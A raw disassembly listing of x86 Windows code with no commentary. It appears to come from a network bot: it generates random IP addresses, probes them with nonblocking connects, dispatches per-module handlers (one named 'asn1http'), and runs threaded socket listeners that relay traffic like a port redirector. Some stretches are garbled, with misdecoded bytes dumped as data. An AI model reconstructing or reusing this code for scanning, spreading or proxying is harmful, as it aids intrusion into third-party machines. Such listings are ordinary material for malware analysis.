sub_4056A7 proc near ; CODE XREF: seg000:00410465p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_4132A1
test eax, eax
pop ecx
jle short loc_4056E3
mov eax, [ebp+arg_C]
push ds:dword_42E358[eax*8]
call ds:dword_42F794
push eax
lea eax, [ebp+var_200]
push offset unk_4237E0
push eax
call sub_4135AD
add esp, 0Ch
jmp short loc_4056F6
; ---------------------------------------------------------------------------
loc_4056E3: ; CODE XREF: sub_4056A7+13j
lea eax, [ebp+var_200]
push offset unk_4237AC
push eax
call sub_4135AD
pop ecx
pop ecx
loc_4056F6: ; CODE XREF: sub_4056A7+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
lea eax, [ebp+var_200]
push eax
call sub_409615
add esp, 18h
leave
retn
sub_4056A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40571E proc far ; CODE XREF: sub_405E47+4Fp
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_C = byte ptr 18h
arg_10C = dword ptr 118h
arg_12C = dword ptr 138h
arg_134 = dword ptr 140h
arg_138 = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_12C]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_405AAE
imul eax, 3Ch
xor ebx, ebx
cmp ds:dword_4236AC[eax], ebx
jz loc_40598F
push 4
call sub_4132A1
test eax, eax
pop ecx
jnz loc_405AAE
mov eax, ds:dword_428228
push edi
mov edi, offset dword_42ECD4
push 104h
push edi
push ebx
mov ds:dword_42EEE4, eax
mov ds:dword_42EEE0, ebx
call near ptr 0A70000h
retf 368h
; ---------------------------------------------------------------------------
dw 1
dd 0EDD8BE00h, 90680042h, 56004282h, 0F63FE8h, 18858B00h
dd 83000001h, 9D380CC4h, 98h, 42ECD0A3h, 40858B00h, 6A000001h
dd 0EF68A37Fh, 1D750042h, 5018458Dh, 42EEE868h, 0F60EE800h
dd 0C4830000h, 6C05C70Ch, 10042EFh, 0EB000000h, 98858D1Ah
dd 50000000h, 42EEE868h, 0F5EEE800h, 0C4830000h, 6C1D890Ch
dd 560042EFh, 0E435FF57h, 8D0042EEh, 0FFFDFC85h, 398C68FFh
dd 0E8500042h, 0DDA9h, 0FC858D53h, 6AFFFFFDh, 46E85004h
dd 830000D8h, 0DCA320C4h, 8D0042EEh, 5350FC45h, 42ECD068h
dd 50E66800h, 53530040h, 0F06C15FFh, 0D8B0041h, 42EEDCh
dd 234C969h, 0C33B0000h, 48AC8189h, 12740043h, 0EF701D39h
dd 25750042h, 15FF326Ah, 41F058h, 15FFEEEBh, 41F068h, 0FC858D50h
dd 68FFFFFDh, 423944h, 0DD3BE850h, 0C4830000h, 0FC858D0Ch
dd 50FFFFFDh, 3D94E8h, 0F32CBF00h, 4C70042h, 10424h, 89535700h
dd 42F5381Dh, 0A766E800h, 68820066h, 103h, 42F430BEh, 82906800h
dd 0E8560042h, 0F520h, 118858Bh, 0C4830000h, 989D380Ch
dd 0A3000000h, 42F328h, 140858Bh, 7F6A0000h, 42F5C0A3h
dd 8D1D7500h, 68501845h, 42F540h, 0F4EFE8h, 0CC48300h
dd 0F5C405C7h, 10042h, 1AEB0000h, 98858Dh, 68500000h, 42F540h
dd 0F4CFE8h, 0CC48300h, 0F5C41D89h, 57560042h, 0F53C35FFh
dd 858D0042h, 0FFFFFDFCh, 4238F068h, 8AE85000h, 530000DCh
dd 0FDFC858Dh, 56AFFFFh, 0D727E850h, 0C4830000h, 0F534A320h
dd 458D0042h, 685350FCh, 42F328h, 4038B168h, 0FF535300h
dd 41F06C15h, 340D8B00h, 5F0042F5h, 234C969h, 0C33B0000h
dd 48AC8189h, 16740043h, 0F5C81D39h, 850F0042h, 12Dh, 15FF326Ah
dd 41F058h, 15FFEAEBh, 41F068h, 38AC6850h, 3E90042h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_40598F: ; CODE XREF: sub_40571E+25j
cmp ds:dword_4236B0[eax], ebx
jz loc_405AAE
push 3
call sub_4132A1
test eax, eax
pop ecx
jnz loc_405AAE
mov esi, offset dword_42F204
push 104h
push esi
push ebx
call near ptr 0A70000h
xor ebp, [edx+5Ch]
push esi
call sub_4150D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4059CD
mov [eax], bl
loc_4059CD: ; CODE XREF: sub_40571E+2ABj
mov eax, ds:dword_42822C
mov ds:dword_42F31C, ebx
mov ds:dword_42F308, eax
lea eax, [ebp+arg_C]
push eax
push offset dword_42EF7C
call sub_4135AD
mov eax, [ebp+arg_10C]
pop ecx
pop ecx
mov ds:dword_42EF78, eax
mov ecx, [ebp+arg_134]
push esi
push ds:dword_42F308
mov ds:dword_42F314, ecx
mov ecx, [ebp+arg_138]
push eax
mov ds:dword_42F318, ecx
call sub_408619
pop ecx
push eax
lea eax, [ebp+var_204]
push offset dword_42385C
push eax
call sub_4135AD
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_413059
add esp, 20h
mov ds:dword_42F310, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_42EF78
push offset sub_403FCB
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, ds:dword_42F310
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_405A86
loc_405A74: ; CODE XREF: sub_40571E+366j
cmp ds:dword_42F324, ebx
jnz short loc_405AA1
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_405A74
; ---------------------------------------------------------------------------
loc_405A86: ; CODE XREF: sub_40571E+354j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_423814
lea eax, [ebp+var_204]
push eax
call sub_4135AD
add esp, 0Ch
loc_405AA1: ; CODE XREF: sub_40571E+35Cj
lea eax, [ebp+var_204]
push eax
call sub_409615
pop ecx
loc_405AAE: ; CODE XREF: sub_40571E+14j
; sub_40571E+35j ...
pop esi
pop ebx
leave
retn
sub_40571E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405AB2 proc near ; CODE XREF: sub_405C33:loc_405CA4p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:42E358h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_413690
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_42F63C
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_42F704
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_413690
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_405AB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405AFA proc near ; CODE XREF: sub_405C33+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_413DB0
cmp eax, 0Fh
pop ecx
jbe short loc_405B22
xor eax, eax
jmp short loc_405B93
; ---------------------------------------------------------------------------
loc_405B22: ; CODE XREF: sub_405AFA+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_414B30
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_405B4F
call sub_413609
mov [ebp+var_C], eax
loc_405B4F: ; CODE XREF: sub_405AFA+4Bj
cmp [ebp+var_8], esi
jnz short loc_405B5C
call sub_413609
mov [ebp+var_8], eax
loc_405B5C: ; CODE XREF: sub_405AFA+58j
cmp [ebp+var_4], esi
jnz short loc_405B69
call sub_413609
mov [ebp+var_4], eax
loc_405B69: ; CODE XREF: sub_405AFA+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_405B75
call sub_413609
loc_405B75: ; CODE XREF: sub_405AFA+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_42E358[ecx*8], eax
loc_405B93: ; CODE XREF: sub_405AFA+26j
pop esi
leave
retn
sub_405AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B96 proc near ; CODE XREF: sub_405C33+B8p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_42F788
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_405BBF
xor eax, eax
jmp short loc_405C2E
; ---------------------------------------------------------------------------
loc_405BBF: ; CODE XREF: sub_405B96+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_42F708
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_42F7A4
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_42F6B0
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_42F6F0
push esi
mov edi, eax
call ds:dword_42F7A0
xor eax, eax
cmp edi, ebx
setnle al
loc_405C2E: ; CODE XREF: sub_405B96+27j
pop edi
pop esi
pop ebx
leave
retn
sub_405B96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C33 proc near ; DATA XREF: sub_405E47+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
mov ebx, esi
pop ecx
imul ebx, 234h
loc_405C7A: ; CODE XREF: sub_405C33+200j
mov eax, ds:dword_43489C[ebx]
cmp ds:dword_42E35C[eax*8], 0
jz loc_405E38
cmp [ebp+var_10], 0
push eax
jz short loc_405CA4
lea eax, [ebp+var_150]
push eax
call sub_405AFA
pop ecx
jmp short loc_405CA9
; ---------------------------------------------------------------------------
loc_405CA4: ; CODE XREF: sub_405C33+60j
call sub_405AB2
loc_405CA9: ; CODE XREF: sub_405C33+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_43489C[ebx]
push [ebp+var_3C]
push edi
call ds:dword_42F794
push eax
lea eax, [ebp+var_28C]
push offset unk_423A28
push eax
call sub_4135AD
lea eax, [ebp+var_28C]
push eax
lea eax, dword_434698[ebx]
push eax
call sub_4135AD
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_405B96
add esp, 2Ch
cmp eax, 1
jnz loc_405E28
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_405D7D
push offset dword_42ECB8
call ds:dword_41F0A0 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_42F794
push eax
lea eax, [ebp+var_28C]
push offset unk_4239EC
push eax
call sub_4135AD
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_405D5F
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_405D53
lea eax, [ebp+var_140]
loc_405D53: ; CODE XREF: sub_405C33+118j
push eax
push [ebp+var_40]
call sub_4110B0
add esp, 14h
loc_405D5F: ; CODE XREF: sub_405C33+FDj
lea eax, [ebp+var_28C]
push eax
call sub_409615
mov [esp+2A8h+var_2A8], offset dword_42ECB8
call ds:dword_41F09C ; RtlLeaveCriticalSection
jmp loc_405E28
; ---------------------------------------------------------------------------
loc_405D7D: ; CODE XREF: sub_405C33+CDj
push edi
call ds:dword_42F794
push eax
lea eax, [ebp+var_208]
push eax
call sub_4135AD
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aAsn1http_0 ; "asn1http"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4135AD
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_405DC1
lea eax, [ebp+var_140]
loc_405DC1: ; CODE XREF: sub_405C33+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4135AD
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call ds:off_4236A4[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_405E28: ; CODE XREF: sub_405C33+C3j
; sub_405C33+145j
push 7D0h
call ds:dword_41F058 ; Sleep
jmp loc_405C7A
; ---------------------------------------------------------------------------
loc_405E38: ; CODE XREF: sub_405C33+55j
push esi
call sub_413375
pop ecx
push 0
call near ptr 0A70000h
pop eax
sub_405C33 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405E47 proc near ; DATA XREF: seg000:0040E52Fo
; seg000:004100C3o
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_15E = dword ptr 166h
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call ds:dword_42F748
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov ds:dword_42E358[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call near ptr sub_40571E
push 8
call sub_4132A1
add esp, 150h
cmp eax, ebx
jnz short loc_405F15
mov esi, offset dword_42ECB8
push esi
call ds:dword_41F0A8 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_41F0A4 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_405F15
lea eax, [ebp+var_1CC]
push offset unk_423B6C
push eax
call sub_4135AD
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_405EFF
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_4110B0
add esp, 14h
loc_405EFF: ; CODE XREF: sub_405E47+99j
lea eax, [ebp+var_1CC]
push eax
call sub_409615
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_405F15: ; CODE XREF: sub_405E47+63j
; sub_405E47+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_41F058
mov edi, ebx
mov ds:dword_42E35C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_405FE2
loc_405F33: ; CODE XREF: sub_405E47+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_423B20
push eax
call sub_4135AD
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_413059
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov ds:dword_43489C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_405C33
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_405FAD
loc_405FA2: ; CODE XREF: sub_405E47+164j
cmp [ebp+var_4], ebx
jnz short loc_405FD4
push 1Eh
call esi ; dword_41F058
jmp short loc_405FA2
; ---------------------------------------------------------------------------
loc_405FAD: ; CODE XREF: sub_405E47+159j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_423AD0
push eax
call sub_4135AD
lea eax, [ebp+var_1CC]
push eax
call sub_409615
add esp, 10h
loc_405FD4: ; CODE XREF: sub_405E47+15Ej
push 1Eh
call esi ; dword_41F058
inc edi
cmp edi, [ebp+var_20]
jbe loc_405F33
loc_405FE2: ; CODE XREF: sub_405E47+E6j
cmp [ebp+var_30], ebx
jz loc_40608C
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; dword_41F058
loc_405FF7: ; CODE XREF: sub_405E47+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, ds:dword_42E358[eax*8]
push eax
call ds:dword_42F794
push eax
lea eax, [ebp+var_1CC]
push offset unk_423A78
push eax
call sub_4135AD
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_406045
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_4110B0
add esp, 14h
loc_406045: ; CODE XREF: sub_405E47+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_409615
mov eax, [ebp+var_2C]
mov [esp-166h+arg_15E], 0BB8h
mov ds:dword_42E35C[eax*8], ebx
call esi ; dword_41F058
push 8
call sub_4132A1
cmp eax, 1
pop ecx
jnz short loc_40607C
push offset dword_42ECB8
call ds:dword_41F0A8 ; RtlDeleteCriticalSection
loc_40607C: ; CODE XREF: sub_405E47+228j
push [ebp+var_2C]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
sahf
loc_40608C: ; CODE XREF: sub_405E47+19Ej
; sub_405E47+25Dj
mov eax, [ebp+var_2C]
cmp ds:dword_42E35C[eax*8], 1
jnz loc_405FF7
push 7D0h
call esi ; dword_41F058
jmp short loc_40608C
sub_405E47 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4060A6 proc near ; DATA XREF: seg000:0040E906o
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call ds:dword_42F708
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call ds:dword_42F788
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40620A
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov ds:dword_4348A4[eax], ebx
call ds:dword_42F624
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_42F734
test eax, eax
jnz loc_40620A
push 0Ah
push ebx
call ds:dword_42F730
test eax, eax
jnz loc_40620A
loc_406150: ; CODE XREF: sub_4060A6+BEj
; sub_4060A6+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call ds:dword_42F79C
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_406150
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call ds:dword_42F794
push eax
lea eax, [ebp+var_34C]
push offset unk_423C08
push eax
call sub_4135AD
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_413059
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov ds:dword_43489C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset loc_40622E
push esi
push esi
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov ds:dword_4348AC[ecx], eax
jz short loc_4061F5
loc_4061E2: ; CODE XREF: sub_4060A6+14Dj
cmp [ebp+var_2C], esi
jnz loc_406150
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_4061E2
; ---------------------------------------------------------------------------
loc_4061F5: ; CODE XREF: sub_4060A6+13Aj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_423BB8
call sub_409689
pop ecx
pop ecx
jmp short loc_40620D
; ---------------------------------------------------------------------------
loc_40620A: ; CODE XREF: sub_4060A6+61j
; sub_4060A6+93j ...
mov edi, [ebp+arg_0]
loc_40620D: ; CODE XREF: sub_4060A6+162j
push edi
call ds:dword_42F7A0
push ebx
call ds:dword_42F7A0
push [ebp+var_3C]
call sub_413375
pop ecx
push esi
call near ptr 0A70000h
movsb
pop edi
pop esi
pop ebx
sub_4060A6 endp ; sp-analysis failed
loc_40622E: ; DATA XREF: sub_4060A6+11Co
push ebp
mov ebp, esp
mov eax, 1344h
call sub_413E30
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call ds:dword_42F788
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4063E4
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_413630
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call ds:dword_42F708
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call ds:dword_42F748
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4062BE
lea eax, [ebp-13Ch]
push eax
call ds:dword_42F78C
jmp short loc_4062CC
; ---------------------------------------------------------------------------
loc_4062BE: ; CODE XREF: seg000:004062ADj
push 2
lea eax, [ebp-8]
push 4
push eax
call ds:dword_42F6C0
loc_4062CC: ; CODE XREF: seg000:004062BCj
cmp eax, edi
jz loc_4063E4
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call ds:dword_42F6B0
cmp eax, 0FFFFFFFFh
jz loc_4063E4
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call ds:dword_42F794
push eax
lea eax, [ebp-344h]
push offset unk_423CB4
push eax
call sub_4135AD
push esi
lea eax, [ebp-344h]
push 10h
push eax
call sub_413059
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_4348A4[ebx]
mov ds:dword_43489C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_4348A8[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_406415
push edi
push edi
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4348AC[ecx], eax
jz short loc_4063D1
loc_40637E: ; CODE XREF: seg000:0040638Bj
cmp [ebp-20h], edi
jnz short loc_40638D
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40637E
; ---------------------------------------------------------------------------
loc_40638D: ; CODE XREF: seg000:00406381j
mov ebx, 1000h
loc_406392: ; CODE XREF: seg000:004063CDj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_42F720
cmp eax, edi
jle short loc_4063E4
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call ds:dword_42F758
cmp eax, 0FFFFFFFFh
jnz short loc_406392
jmp short loc_4063E4
; ---------------------------------------------------------------------------
loc_4063D1: ; CODE XREF: seg000:0040637Cj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_423C60
call sub_409689
pop ecx
pop ecx
loc_4063E4: ; CODE XREF: seg000:00406272j
; seg000:004062CEj ...
mov eax, [ebp-4]
imul eax, 234h
push ds:dword_4348A4[eax]
call ds:dword_42F7A0
push dword ptr [ebp+8]
call ds:dword_42F7A0
push dword ptr [ebp-4]
call sub_413375
pop ecx
push edi
call near ptr 0A70000h
push ss
pop edi
pop esi
pop ebx
loc_406415: ; DATA XREF: seg000:0040635Eo
push ebp
mov ebp, esp
mov eax, 1128h
call sub_413E30
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_40644C: ; CODE XREF: seg000:00406491j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push ds:dword_4348A8[esi]
call ds:dword_42F720
test eax, eax
jle short loc_406493
push 0
push eax
lea eax, [ebp-1128h]
push eax
push ds:dword_4348A4[esi]
call ds:dword_42F758
cmp eax, 0FFFFFFFFh
jnz short loc_40644C
loc_406493: ; CODE XREF: seg000:00406476j
push ds:dword_4348A8[esi]
call ds:dword_42F7A0
push dword ptr [ebp-14h]
call sub_413375
pop ecx
push 0
; ---------------------------------------------------------------------------
dw 51E8h
dd 0B700669Bh
; ---------------------------------------------------------------------------
pop edi
pop esi
loc_4064B2: ; DATA XREF: seg000:00410C0Ao
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp-0D4h]
push 2Ch
mov [ebp-4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp-14h]
push esi
push eax
call sub_413630
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-40h]
call ds:dword_42F708
push 6
push edi
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
call ds:dword_42F788
mov edi, eax
mov eax, [ebp-3Ch]
imul eax, 234h
push ebx
mov ds:dword_4348A4[eax], edi
lea eax, [ebp-14h]
push eax
push edi
call ds:dword_42F734
test eax, eax
jnz loc_406654
push 0Ah
push edi
call ds:dword_42F730
test eax, eax
jnz loc_406654
push dword ptr [ebp-40h]
push dword ptr [ebp-0D4h]
call sub_408619
pop ecx
push eax
lea eax, [ebp-2D4h]
push offset dword_423DF4
push eax
call sub_4135AD
add esp, 10h
cmp [ebp-30h], esi
jnz short loc_40658D
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_4110B0
add esp, 14h
loc_40658D: ; CODE XREF: seg000:0040656Bj
; seg000:00406624j ...
lea eax, [ebp-2D4h]
push eax
call sub_409615
pop ecx
lea eax, [ebp-4]
push eax
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_42F79C
